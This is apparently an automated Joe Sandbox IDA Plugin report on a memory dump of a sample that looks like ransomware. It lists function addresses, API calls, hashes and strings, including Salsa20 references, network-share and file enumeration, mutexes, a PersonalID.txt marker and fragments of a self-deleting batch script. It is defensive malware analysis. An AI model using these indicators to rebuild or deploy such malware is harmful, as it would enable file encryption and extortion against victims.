Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: a8394b3a70a4d6a3136c362a99d12b854317469571ff5e0108eeca55942cb720
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: a8394b3a70a4d6a3136c362a99d12b854317469571ff5e0108eeca55942cb720
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNELBASE(?,?), ref: 0041005A
FindClose.KERNEL32(?), ref: 0041006C

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: ccf6f16b3905d92dc95d8eaaf4f7f1fe8b3ec0f93cb03f606c9b8f6268d32d85
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: ccf6f16b3905d92dc95d8eaaf4f7f1fe8b3ec0f93cb03f606c9b8f6268d32d85
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: e228db8f2929126c3b1913005bb93d35ef70577a56d5a0348c895a46b4dbfa9c
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: e228db8f2929126c3b1913005bb93d35ef70577a56d5a0348c895a46b4dbfa9c
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: e14d4706ebd2937f549925ab355345f0cc1dac9e10c7ad741e7fc5df18ade2da
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: e14d4706ebd2937f549925ab355345f0cc1dac9e10c7ad741e7fc5df18ade2da
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: f435e59981ddbbd5e7f20df7de0e78d9e90dcc99dfbaf1614d1af27faf295db4
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: f435e59981ddbbd5e7f20df7de0e78d9e90dcc99dfbaf1614d1af27faf295db4
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
@echo off:trydel ", xrefs: 0041262A
delself.bat, xrefs: 0041261C
"if exist ", xrefs: 00412648
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
del ", xrefs: 00412674
" goto try, xrefs: 00412666
TEMP, xrefs: 004125DF
D, xrefs: 00412720

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

